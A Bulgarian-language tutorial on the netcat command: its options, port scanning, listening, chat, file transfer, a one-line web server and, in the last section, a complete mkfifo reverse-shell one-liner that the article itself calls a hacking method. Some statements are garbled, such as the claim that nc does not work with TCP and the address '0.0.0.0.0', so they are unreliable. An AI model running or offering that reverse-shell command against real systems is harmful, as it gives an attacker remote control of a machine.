Командата netcat
е необходима за изпращане и получаване на данни чрез протоколите TCP и UDP. Тя не разполага с голям набор от функции, но е достатъчна за проверка на връзките и просто отстраняване на грешки. Как да комуникираме чрез протокола TCP? Този въпрос се задава от много потребители. В тази статия ще отговорим на този въпрос, а също така ще покажем примери за реално приложение на командата.
Командата netcat
(или nc
) е мощен инструмент за работа с мрежови връзки. Тя често се използва от системни администратори и разработчици за различни задачи. Ето основните функции и характеристики на netcat
:
Netcat
е универсален инструмент, който може да се използва в най-различни сценарии - от прости съобщения до сложни мрежови операции.
Нека да започнем с разглеждане на синтаксиса и най-популярните от тях:
-6
- използвайте IPv6 протокол. По подразбиране е съответно -4 и IPv4;-h
- показва помощ със списъка на наличните параметри;-i
- delay - добавя забавяне между изпращането на низове или сканирането на портове. То се задава в секунди;-l
- режим на слушане. Използва се при спецификация на порта;-N
- затваряне на връзката при достигане на края на файла при изпращането му;-n
- работи с IP-адреси директно без DNS, също така деактивира сканирането на портове;-P
- user_name (име на потребител) - посочва името на потребителя, който ще се свързва с прокси сървъра;-x
- address:port - укажете адреса и порта за свързване с проксито;-p
- port - укажете номера на порта. В повечето случаи портът се чете, без да се посочва параметърът;-U
- използвайте сокет за домейн на UNIX (за междупроцесна комуникация);-u
- използвайте UDP протокол, по подразбиране се използва TCP;-v
- подробен режим. Използва се при сканиране;-W
number_packets - затваря връзката след получаване на определен брой пакети;-w
timer - активира таймер за ограничаване на времето на връзката. Задава се в секунди;-z
- забранява изпращането на данни. Използва се по време на сканиране.Командата има следната форма (параметри адрес на порт):
$ nc
По-нататък ще ви кажем как да използвате командата.
Проверката е основното приложение на netcat
. Трябва да използвате два параметъра -vz
, да посочите адрес и порт. Можете да посочите диапазон от адреси, но в този случай е по-добре да пресеете само отворените портове с командатаgrep
. Нека сканираме портовете на адреса на локалната мрежа:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
По същия начин нека сканираме UDP портове, като добавим параметъра -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Трябва да знаете основната разлика между TCP и UDP. Така че в UDP портовете са винаги достъпни.
Параметърът -l
е предназначен за слушане на порта. Той често е достатъчен, но можете да активирате подробния режим:
$ nc -nlv 8080
Не забравяйте, че когато използвате протокола TCP, портът трябва да е свободен, в противен случай ще се появи грешката Already in use (Вече се използва). Не всички портове могат да се използват от обикновените потребители, например порт 80 (HTTP), най-вероятно той ще бъде зает от друг процес и ще изисква права на суперпотребител.
Полезна способност на командата е обменът на данни. Прост пример е текстова чат стая. За да стартирате чат на един компютър, стартирайте обслужващата програма в режим на слушане на порта:
$ nc -lp 8080
На другия компютър ще трябва да посочите адреса на първия компютър и същия порт. Също така не забравяйте да проверите дали портът е отворен:
$ nc 0.0.0.0 8080
По този начин ще можете да изпращате и получавате съобщения. Това означава, че командата е предназначена за обмен на файлове. Принципът е същият, с тази разлика, че е необходимо изходът да се пренасочи към файл, а именно paste.txt:
$ nc -l 8080 > paste.txt
На другия компютър за вход ще служи файлът copy.txt
. Не е излишно да използвате параметъра -N
, за да затворите връзката след прехвърлянето на файла:
$ nc -N 0.0.0.0 8080 < copy.txt
За прехвърлянето на файлове е важно да се спазва последователността, първо да се отвори слушането и едва след това да се изпрати файлът. Командата nc е работещ, но далеч не най-добрият начин за прехвърляне на файлове. Съществуват по-ефективни и полезни инструменти за тази задача.
Тъй като командата NC не работи с протокола TCP, тя позволява както изпращане, така и получаване на HTTP заявки. Следователно програмата може да се превърне в прост уеб сървър. Да, по този начин не можете да направите нищо по-сложно от празна страница, но операцията няма да отнеме почти никакво време, а плюсът е, че не е необходимо да инсталирате нищо допълнително.
На примерната форма е показан HTTP отговор с файл index.html.
Говорейки за самия np, добра идея е да зададете таймер с параметъра -w 1
, който да прекъсне връзката, ако браузърът не го направи:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
За да получите данни от даден уебсайт, можете да формирате заявка и да я изпратите на препоръчания адрес и порт. Но този начин е доста сложен, по-добре е да се използва съответната команда CURL.
Въз основа на разгледаните по-горе примери няма да е трудно да заключите, че командата ви позволява да организирате отдалечен достъп до шела на компютъра. Преди това помощната програма NC имаше няколко параметъра за отваряне на достъп до терминала. Параметърът -e
отдавна е премахнат от обслужващата програма, така че вече няма да има прост достъп до терминала. Сигурността на самото приложение е станала по-висока, но то все още може да работи съвместно с други.
Нека да покажем връзката с помощта на именувания канал mkfifo. Преди всичко нека започнем да слушаме порта на компютъра, до който ще получим достъп:
$ nc -lvnp 8080
Нека преминем директно към командата за отваряне на терминала. Първо изтрийте стария именуван канал(rm /tmp/f
), създайте нов на негово място(mkfifo /tmp/f
), прочетете съдържанието му(cat /tmp/f
) и изпратете шел команда на изхода му(sh -i 2>&1
). След това остава да стартирате nc с изход към нашия именуван канал(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Имайте предвид, че това е един от начините за хакване, който обаче може да е полезен, ако има проблеми с ssh
. За да предотвратите атаката, конфигурирайте политика за сигурност и защитна стена.